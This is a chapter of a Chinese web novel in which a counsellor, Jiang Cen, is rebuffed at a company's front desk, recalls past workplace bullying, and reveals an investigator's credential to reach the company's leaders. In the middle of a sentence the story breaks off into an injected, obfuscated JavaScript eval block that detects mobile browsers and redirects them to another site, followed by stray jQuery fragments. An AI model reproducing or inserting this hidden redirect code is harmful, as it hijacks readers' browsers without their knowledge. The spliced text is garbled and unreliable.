36. 特权干预

作品:《众星陨落时

    江岑其实很少做没有把握的事。


    之所以养成了这一点好习惯,很大一部分原因和学校、应用中心的训教有关。


    然而今天,只身来到这千百度公司“打头阵”,她的准备实际上并不充分。


    颇有些打肿脸也要充胖子的感觉:来都来了,就不能怯场!不能毫无收获地走!


    职业性微笑今天展露得过分多,江岑朝田木兰重复来意——胡编的来意:“你好,我来谈商务。”


    接待服务刚开始还是不错的,田木兰鞠着那可怜的90度躬,而后把身姿挺着端正板直:“是哪一方面的商务呢?可以简要描述一下,我在您介绍之后,有针对性地为您引荐千百度部门人员。”


    居然还要细致描述商务事项?


    江岑后知后觉:打着商务的旗号,自然就得有洽谈事项的前因后果。拿什么言商、挪什么谈务,总不能空空画大饼。


    她的反应倒也很快,横竖也算静域里的小小话事人,临时编个商务活儿给自己算不得什么难事:“我是燕洋大学下辖心理咨询应用中心的咨询师,前来贵公司寻求合作机会,期待双方能通过沟通达成服务意向。”


    “心理咨询?”


    “嗯,心理咨询。”


    眼前人的殷勤不再,对谈开始微微尴尬起来。江岑猜到出了差池,但不知道自己具体是哪句话出错了。而田木兰在意的点偏到了其他方面,没把江岑的来意真放在心上:“此前有预约吗?”


    江岑不能再乱说:“我来得匆忙,没有预约。”


    田木兰却疑心更盛,一连又抛出很多问题,问题像瞄准了靶心的子弹头,一时间让江岑应接不暇:“你说的那应用中心——有多少年营运经验了?地址是在哪儿的?总共有几个员工?有没有比较知名的过往接待案例?”


    有被牵着鼻子走的感觉,这样的感觉江岑很不喜欢,可她暂时想不到别的转圜办法。


    “营运经验……很久、很久了。”


    答复是真的、没有作假,但无奈地只能朦胧。燕洋大学从旧世代就建立了,少说近百年。可下辖的应用中心的年头,江岑对其历史研究得没有秦暮通透。


    “地址在邬山市。”


    这句回答上来了,可江岑瞅得分明,田木兰的眼神突然就变了,变得掺疑。


    “咳咳,总共……3个员工。”


    江岑还得笑,她即使再不想笑、也得强撑着笑到最后。


    “知名案例有的!有——”


    她知道,自己在田木兰眼里,已经完全是位奇奇怪怪的人了。


    如实回答,原来也不能成为解决问题的最佳策略。


    田木兰冷哼一声,想到涨奖金终成泡影,接待的态度自然反转成了嘲讽:“磕磕巴巴地回答,真是辛苦你了。怕都是临场编的吧?‘很久很久’,说不出个具体数。‘邬山市’离这老远,想谈商务竟不预约。‘3个员工’更好笑了,你就是个还在读书的孩子,不知道一家单位少说需要几个编制吧?”


    江岑被说小了年纪,被当成学生了。


    很容易能猜到,田木兰眼里的那种学生——还是意图不轨的。不乖乖听话留在学校,反而偷了家人的正装溜出来,冒充商务人员洽谈、试图混进千百度?


    “回去吧!你见不到你想见的人!”


    江岑自始至终都没有怯场,不曾气恼半分。


    知道碰壁是必然的,只是没曾想,千百度公司在接待环节就把她推出门外。


    田木兰咄咄逼人,眼见江岑不再回复、也不辩解,就以为是自己猜对了原委。


    她叫嚷的声音更大,看到江岑仍不愿意走,犟种脾气“噌”地就窜上来。


    言辞变得犀利,对着江岑毫不客气地咄咄抨击:“人应该有自知之明,在应该在的年纪、做应该做的事!而不是满嘴谎话、遮遮掩掩,跑到正经的场合干扰其他人!”


    唾沫星子飞溅,或有零星玷上江岑的正装衣服了,可是江岑没打算后撤一步。


    眼前人的狐假虎威,勾起了她的回忆。


    实习时期的回忆大多不愉快,江岑已经很久没有沉溺在那段回忆里过了。


    可现在,田木兰——一个陌生的职场人,又把那段经历如铲土般翻掘而起:


    “我说过多少次——高级心理师有权接替你的案例,而你,做好实习生该做的劳务就好!”


    “你对咨询方式有异议?你刚毕业,懂得什么?人家高级职称可是十余年的老资历!”


    “你愿意在心理所待下去,就好好端这杯茶,再热、也得端着!让你好好长长记性,不要生其他歪念头!”


    ……


    有嘴有口、有头脑有实力,但是在心理所中被忽视被小瞧被压制的日子,实在不好受。有过一段日子,江岑萌生过沉重的自我怀疑,辛辛苦苦考上燕洋大学,但要在黑暗的职场里蹉跎一辈子,真的值得吗?


    是被秦暮挖角带走,幸运跳槽到“静域心理”,才让沉重的自我怀疑渐渐淡去。


    时间拉长,新环境新经历让过去恍恍惚惚,如隔一世,才慢慢地不再觉得苦闷辛酸。


    只是过去的低迷创痛,即使结痂了,它也仍旧在的。


    好一阵唏嘘。


    江岑不怪田木兰,也不怪曾经就职的心理所里的人。


    因为她知道,硬要怪的话,得怪难疏解的职场垢病。


    可光是江岑想息事宁人、想低调处理,这远远不够。


    事情已经闹大了。


    田木兰的斥责声吸引来了其他的服务专员。还有一群千百度的客户,也凑过来看热闹。


    把围观当助力,田木兰胡搅蛮缠的底气更足,还干脆牵扯上了接电话那位、本就很忙碌了的前台专员,连同事也一起骂:“你怎么做的工作?一个这么可疑的人,没有预约、没有名衔,也让她排号?万一让她混进去了怎么办,威胁到艺人安全怎么办?”


    “对不起对不起……”


    道歉话语不是江岑说的,是那个怯弱的前台专员说的。


    可越听,江岑越觉得,那像极了过去自己的声音。


    她的经历过


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146094|194528||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    去了,可还有很多人困在局中,没能淌过去。


    江岑想帮一把那个前台专员,这也是一念间的事。


    无数次救过往的、回忆中的自己,这也是无需犹豫的事。


    她以迅雷不及掩耳之势,拦下了田木兰那只手舞足蹈的手。


    抢在田木兰再高声攀扯之前,江岑亮出自己的秘密底牌!


    明晃晃展示出来的,是邬山市事理部颁发给江岑秦暮的证件:“静域心理应用中心江岑,兼职D国东南省区事理调查员——前来千百度公司特遣调查,请您、请贵公司务必配合。”


    证件刚好高举在田木兰眼前,对方能真真切切地看见事理部的鲜章。


    那样红艳艳、那样刺剌剌,堵塞住了田木兰所有的飞扬跋扈。


    江岑瞄一眼前台专员胸前的工牌,客气道:“小苒,烦请你帮我联络了。我没有预约、也不算排了号,但是我想见见你们领导。谢谢。”


    田木兰的态度转变的很快,是在找补:“打吧,打!原来、是事理部的领导来了啊……”


    一众围拢的人群也仓皇,都没见过这样的阵仗,纷纷打算多呆一会儿,看看后续发展。


    小苒从田木兰的寻衅中解脱出来了,对江岑自然感激。


    她果断拿起呼音的麦克风,可手指却在拨出讯号时停下了。


    胸前的工牌辉闪冷光,在提醒着她,她还是千百度公司的员工。


    江岑不急,等着小苒拨号。


    对于小苒而言,明明前台联络的工作再熟悉不过,可现在却打心眼里纠结。


    小苒在众目睽睽之下,最终拨通:“您好,这里是接待前台。有一位重要客人,想和千百度洽谈‘商务’……”


    被圈束的牛马没能冲破压制,小小前台专员还是站在了公司的那一边,想帮公司小事化了。


    江岑没有为难小苒,她来做恶人。


    直接按下讯号终了键,截断正进行中的通话。


    对着小苒温声:“你拨错了。方才我是咨询师,所以谈商务;可我现在是调查员,需要——直接找千百度的理事领导!”


    解释完后,江岑自个儿翻看联络簿,就直拨总经办的电讯号。


    围观的一众人,当然已经呆了。


    麦克风还在小苒那里,小苒不能呆。


    细细簌簌鼓起勇气,小苒一鼓作气,解释一楼现在的场面:“领导,事理部调查员来了,说是‘有特别情况,需要千百度公司配合’。”


    在江岑颔首点头的激励下,小苒硬气继续:“她一个人来的,带着正规证件。接待处实在解决不了,请领导们速速下楼,解决突发事件。”


    “谢谢。”江岑笑得甜美,不介意这份甜美在众人眼里是多么的凶神恶煞。


    暂时离开人堆,走到空空无人的一旁,面部表情才收敛放松。


    她明白,这场硬仗才刚刚开始。


    她把冲锋炮开得漂亮、开得响,不代表就能胜战到最后——


    不代表她就能够成功探听到于笑夜的近况信息。